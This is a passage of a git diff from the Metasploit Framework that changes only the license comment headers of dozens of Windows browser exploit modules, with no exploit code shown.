restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/browser/adobe_flashplayer_newfunction.rb b/modules/exploits/windows/browser/adobe_flashplayer_newfunction.rb index 5aedd9991f..d62d5ed948 100644 --- a/modules/exploits/windows/browser/adobe_flashplayer_newfunction.rb +++ b/modules/exploits/windows/browser/adobe_flashplayer_newfunction.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/browser/adobe_flatedecode_predictor02.rb b/modules/exploits/windows/browser/adobe_flatedecode_predictor02.rb index 5c799c40cc..e90e395219 100644 --- a/modules/exploits/windows/browser/adobe_flatedecode_predictor02.rb +++ b/modules/exploits/windows/browser/adobe_flatedecode_predictor02.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/browser/adobe_geticon.rb b/modules/exploits/windows/browser/adobe_geticon.rb index 4a0d6a3f75..91042da600 100644 --- a/modules/exploits/windows/browser/adobe_geticon.rb +++ b/modules/exploits/windows/browser/adobe_geticon.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/browser/adobe_jbig2decode.rb b/modules/exploits/windows/browser/adobe_jbig2decode.rb index 6a0041a732..c9f0461b34 100644 --- a/modules/exploits/windows/browser/adobe_jbig2decode.rb +++ b/modules/exploits/windows/browser/adobe_jbig2decode.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/browser/adobe_media_newplayer.rb b/modules/exploits/windows/browser/adobe_media_newplayer.rb index b3823b4813..41e088e754 100644 --- a/modules/exploits/windows/browser/adobe_media_newplayer.rb +++ b/modules/exploits/windows/browser/adobe_media_newplayer.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/browser/adobe_shockwave_rcsl_corruption.rb b/modules/exploits/windows/browser/adobe_shockwave_rcsl_corruption.rb index 89ea47fe04..a9f05d3c34 100644 --- a/modules/exploits/windows/browser/adobe_shockwave_rcsl_corruption.rb +++ b/modules/exploits/windows/browser/adobe_shockwave_rcsl_corruption.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/browser/adobe_utilprintf.rb b/modules/exploits/windows/browser/adobe_utilprintf.rb index 0c86c4aa37..4f7a202571 100644 --- a/modules/exploits/windows/browser/adobe_utilprintf.rb +++ b/modules/exploits/windows/browser/adobe_utilprintf.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/browser/aim_goaway.rb b/modules/exploits/windows/browser/aim_goaway.rb index dcd3c0cbdb..43558fc78d 100644 --- a/modules/exploits/windows/browser/aim_goaway.rb +++ b/modules/exploits/windows/browser/aim_goaway.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/browser/aladdin_choosefilepath_bof.rb b/modules/exploits/windows/browser/aladdin_choosefilepath_bof.rb index d8dcf6248d..484c0804ed 100644 --- a/modules/exploits/windows/browser/aladdin_choosefilepath_bof.rb +++ b/modules/exploits/windows/browser/aladdin_choosefilepath_bof.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/exploits/windows/browser/amaya_bdo.rb b/modules/exploits/windows/browser/amaya_bdo.rb index d99bb655b4..6911199f13 100644 --- a/modules/exploits/windows/browser/amaya_bdo.rb +++ b/modules/exploits/windows/browser/amaya_bdo.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/browser/aol_ampx_convertfile.rb b/modules/exploits/windows/browser/aol_ampx_convertfile.rb index 50a1361a1c..6555bafae9 100644 --- a/modules/exploits/windows/browser/aol_ampx_convertfile.rb +++ b/modules/exploits/windows/browser/aol_ampx_convertfile.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/browser/aol_icq_downloadagent.rb b/modules/exploits/windows/browser/aol_icq_downloadagent.rb index 1fd7fe4097..5650bc085d 100644 --- a/modules/exploits/windows/browser/aol_icq_downloadagent.rb +++ b/modules/exploits/windows/browser/aol_icq_downloadagent.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/browser/apple_itunes_playlist.rb b/modules/exploits/windows/browser/apple_itunes_playlist.rb index 0a64469495..c69bd1275b 100644 --- a/modules/exploits/windows/browser/apple_itunes_playlist.rb +++ b/modules/exploits/windows/browser/apple_itunes_playlist.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/browser/apple_quicktime_marshaled_punk.rb b/modules/exploits/windows/browser/apple_quicktime_marshaled_punk.rb index b33f3039ca..8a355fc985 100644 --- a/modules/exploits/windows/browser/apple_quicktime_marshaled_punk.rb +++ b/modules/exploits/windows/browser/apple_quicktime_marshaled_punk.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/browser/apple_quicktime_mime_type.rb b/modules/exploits/windows/browser/apple_quicktime_mime_type.rb index b46e92a1d2..e2cb4268a4 100644 --- a/modules/exploits/windows/browser/apple_quicktime_mime_type.rb +++ b/modules/exploits/windows/browser/apple_quicktime_mime_type.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/browser/apple_quicktime_rdrf.rb b/modules/exploits/windows/browser/apple_quicktime_rdrf.rb index f726d4d222..e9a0a33959 100644 --- a/modules/exploits/windows/browser/apple_quicktime_rdrf.rb +++ b/modules/exploits/windows/browser/apple_quicktime_rdrf.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/exploits/windows/browser/apple_quicktime_rtsp.rb b/modules/exploits/windows/browser/apple_quicktime_rtsp.rb index 075017f3bc..6c6673ae87 100644 --- a/modules/exploits/windows/browser/apple_quicktime_rtsp.rb +++ b/modules/exploits/windows/browser/apple_quicktime_rtsp.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/browser/apple_quicktime_smil_debug.rb b/modules/exploits/windows/browser/apple_quicktime_smil_debug.rb index 189c788d0d..427b7c963f 100644 --- a/modules/exploits/windows/browser/apple_quicktime_smil_debug.rb +++ b/modules/exploits/windows/browser/apple_quicktime_smil_debug.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/browser/apple_quicktime_texml_font_table.rb b/modules/exploits/windows/browser/apple_quicktime_texml_font_table.rb index 6cf4de8d4e..8cbf27382f 100644 --- a/modules/exploits/windows/browser/apple_quicktime_texml_font_table.rb +++ b/modules/exploits/windows/browser/apple_quicktime_texml_font_table.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/browser/ask_shortformat.rb b/modules/exploits/windows/browser/ask_shortformat.rb index 29d2c7978e..ce83a7afd2 100644 --- a/modules/exploits/windows/browser/ask_shortformat.rb +++ b/modules/exploits/windows/browser/ask_shortformat.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/browser/asus_net4switch_ipswcom.rb b/modules/exploits/windows/browser/asus_net4switch_ipswcom.rb index 34d0d890b6..671c4ab7b8 100644 --- a/modules/exploits/windows/browser/asus_net4switch_ipswcom.rb +++ b/modules/exploits/windows/browser/asus_net4switch_ipswcom.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/exploits/windows/browser/athocgov_completeinstallation.rb b/modules/exploits/windows/browser/athocgov_completeinstallation.rb index 1f15544490..b6fe96a393 100644 --- a/modules/exploits/windows/browser/athocgov_completeinstallation.rb +++ b/modules/exploits/windows/browser/athocgov_completeinstallation.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/browser/autodesk_idrop.rb b/modules/exploits/windows/browser/autodesk_idrop.rb index 5447ffdec9..d5f160e089 100644 --- a/modules/exploits/windows/browser/autodesk_idrop.rb +++ b/modules/exploits/windows/browser/autodesk_idrop.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/browser/aventail_epi_activex.rb b/modules/exploits/windows/browser/aventail_epi_activex.rb index 040a55b1ae..e4623c7a7c 100644 --- a/modules/exploits/windows/browser/aventail_epi_activex.rb +++ b/modules/exploits/windows/browser/aventail_epi_activex.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/browser/awingsoft_web3d_bof.rb b/modules/exploits/windows/browser/awingsoft_web3d_bof.rb index dacf8b7c75..b3cabe552e 100644 --- a/modules/exploits/windows/browser/awingsoft_web3d_bof.rb +++ b/modules/exploits/windows/browser/awingsoft_web3d_bof.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## ## diff --git a/modules/exploits/windows/browser/awingsoft_winds3d_sceneurl.rb b/modules/exploits/windows/browser/awingsoft_winds3d_sceneurl.rb index 25b3234c15..a7829c7524 100644 --- a/modules/exploits/windows/browser/awingsoft_winds3d_sceneurl.rb +++ b/modules/exploits/windows/browser/awingsoft_winds3d_sceneurl.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/browser/baofeng_storm_onbeforevideodownload.rb b/modules/exploits/windows/browser/baofeng_storm_onbeforevideodownload.rb index 19c4cb464d..39984319ef 100644 --- a/modules/exploits/windows/browser/baofeng_storm_onbeforevideodownload.rb +++ b/modules/exploits/windows/browser/baofeng_storm_onbeforevideodownload.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/browser/barcode_ax49.rb b/modules/exploits/windows/browser/barcode_ax49.rb index e7ec182f5c..008e65a2a5 100644 --- a/modules/exploits/windows/browser/barcode_ax49.rb +++ b/modules/exploits/windows/browser/barcode_ax49.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/browser/blackice_downloadimagefileurl.rb b/modules/exploits/windows/browser/blackice_downloadimagefileurl.rb index 906bd1c436..368250a8d3 100644 --- a/modules/exploits/windows/browser/blackice_downloadimagefileurl.rb +++ b/modules/exploits/windows/browser/blackice_downloadimagefileurl.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/browser/c6_messenger_downloaderactivex.rb b/modules/exploits/windows/browser/c6_messenger_downloaderactivex.rb index a907787036..d611285146 100644 --- a/modules/exploits/windows/browser/c6_messenger_downloaderactivex.rb +++ b/modules/exploits/windows/browser/c6_messenger_downloaderactivex.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/browser/ca_brightstor_addcolumn.rb b/modules/exploits/windows/browser/ca_brightstor_addcolumn.rb index 9849320eac..f7e054fd4f 100644 --- a/modules/exploits/windows/browser/ca_brightstor_addcolumn.rb +++ b/modules/exploits/windows/browser/ca_brightstor_addcolumn.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/browser/chilkat_crypt_writefile.rb b/modules/exploits/windows/browser/chilkat_crypt_writefile.rb index b072791b87..f354f3c53e 100644 --- a/modules/exploits/windows/browser/chilkat_crypt_writefile.rb +++ b/modules/exploits/windows/browser/chilkat_crypt_writefile.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/browser/cisco_anyconnect_exec.rb b/modules/exploits/windows/browser/cisco_anyconnect_exec.rb index 10df5be57f..8beabef098 100644 --- a/modules/exploits/windows/browser/cisco_anyconnect_exec.rb +++ b/modules/exploits/windows/browser/cisco_anyconnect_exec.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/browser/cisco_playerpt_setsource.rb b/modules/exploits/windows/browser/cisco_playerpt_setsource.rb index 631e7540ad..31c674ff73 100644 --- a/modules/exploits/windows/browser/cisco_playerpt_setsource.rb +++ b/modules/exploits/windows/browser/cisco_playerpt_setsource.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/browser/cisco_playerpt_setsource_surl.rb b/modules/exploits/windows/browser/cisco_playerpt_setsource_surl.rb index 3f53565342..881c23e3c2 100644 --- a/modules/exploits/windows/browser/cisco_playerpt_setsource_surl.rb +++ b/modules/exploits/windows/browser/cisco_playerpt_setsource_surl.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/browser/citrix_gateway_actx.rb b/modules/exploits/windows/browser/citrix_gateway_actx.rb index 39d97b6ac7..252215eb26 100644 --- a/modules/exploits/windows/browser/citrix_gateway_actx.rb +++ b/modules/exploits/windows/browser/citrix_gateway_actx.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/browser/clear_quest_cqole.rb b/modules/exploits/windows/browser/clear_quest_cqole.rb index 1ab3cfb0ec..8dcb5cbb7f 100644 --- a/modules/exploits/windows/browser/clear_quest_cqole.rb +++ b/modules/exploits/windows/browser/clear_quest_cqole.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/exploits/windows/browser/communicrypt_mail_activex.rb b/modules/exploits/windows/browser/communicrypt_mail_activex.rb index 00e33e9818..ad2614d967 100644 --- a/modules/exploits/windows/browser/communicrypt_mail_activex.rb +++ b/modules/exploits/windows/browser/communicrypt_mail_activex.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/browser/creative_software_cachefolder.rb b/modules/exploits/windows/browser/creative_software_cachefolder.rb index 914f93835c..86fdc16810 100644 --- a/modules/exploits/windows/browser/creative_software_cachefolder.rb +++ b/modules/exploits/windows/browser/creative_software_cachefolder.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/browser/crystal_reports_printcontrol.rb b/modules/exploits/windows/browser/crystal_reports_printcontrol.rb index c36b35232b..4d5aa15e8a 100644 --- a/modules/exploits/windows/browser/crystal_reports_printcontrol.rb +++ b/modules/exploits/windows/browser/crystal_reports_printcontrol.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/exploits/windows/browser/dell_webcam_crazytalk.rb b/modules/exploits/windows/browser/dell_webcam_crazytalk.rb index 13079472ce..13ed9892e1 100644 --- a/modules/exploits/windows/browser/dell_webcam_crazytalk.rb +++ b/modules/exploits/windows/browser/dell_webcam_crazytalk.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/exploits/windows/browser/dxstudio_player_exec.rb b/modules/exploits/windows/browser/dxstudio_player_exec.rb index 573e7570f2..7111d8b323 100644 --- a/modules/exploits/windows/browser/dxstudio_player_exec.rb +++ b/modules/exploits/windows/browser/dxstudio_player_exec.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/browser/ea_checkrequirements.rb b/modules/exploits/windows/browser/ea_checkrequirements.rb index c5fd713c63..6fc8627973 100644 --- a/modules/exploits/windows/browser/ea_checkrequirements.rb +++ b/modules/exploits/windows/browser/ea_checkrequirements.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/browser/ebook_flipviewer_fviewerloading.rb b/modules/exploits/windows/browser/ebook_flipviewer_fviewerloading.rb index 04d737066d..048c5901c3 100644 --- a/modules/exploits/windows/browser/ebook_flipviewer_fviewerloading.rb +++ b/modules/exploits/windows/browser/ebook_flipviewer_fviewerloading.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/browser/enjoysapgui_comp_download.rb b/modules/exploits/windows/browser/enjoysapgui_comp_download.rb index fdc164fd0b..4797e2c3f5 100644 --- a/modules/exploits/windows/browser/enjoysapgui_comp_download.rb +++ b/modules/exploits/windows/browser/enjoysapgui_comp_download.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/browser/enjoysapgui_preparetoposthtml.rb b/modules/exploits/windows/browser/enjoysapgui_preparetoposthtml.rb index f208833eb7..217bf45065 100644 --- a/modules/exploits/windows/browser/enjoysapgui_preparetoposthtml.rb +++ b/modules/exploits/windows/browser/enjoysapgui_preparetoposthtml.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/browser/facebook_extractiptc.rb b/modules/exploits/windows/browser/facebook_extractiptc.rb index a7bcb3f851..8e4235e251 100644 --- a/modules/exploits/windows/browser/facebook_extractiptc.rb +++ b/modules/exploits/windows/browser/facebook_extractiptc.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/browser/foxit_reader_plugin_url_bof.rb b/modules/exploits/windows/browser/foxit_reader_plugin_url_bof.rb index b607b6b246..64657d6131 100644 --- a/modules/exploits/windows/browser/foxit_reader_plugin_url_bof.rb +++ b/modules/exploits/windows/browser/foxit_reader_plugin_url_bof.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/exploits/windows/browser/gom_openurl.rb b/modules/exploits/windows/browser/gom_openurl.rb index ec70f70c88..9cd60dffd2 100644 --- a/modules/exploits/windows/browser/gom_openurl.rb +++ b/modules/exploits/windows/browser/gom_openurl.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/browser/greendam_url.rb b/modules/exploits/windows/browser/greendam_url.rb index aea6eb7286..370ba3720e 100644 --- a/modules/exploits/windows/browser/greendam_url.rb +++ b/modules/exploits/windows/browser/greendam_url.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## ## diff --git a/modules/exploits/windows/browser/honeywell_hscremotedeploy_exec.rb b/modules/exploits/windows/browser/honeywell_hscremotedeploy_exec.rb index 733627d499..a2170a9506 100644 --- 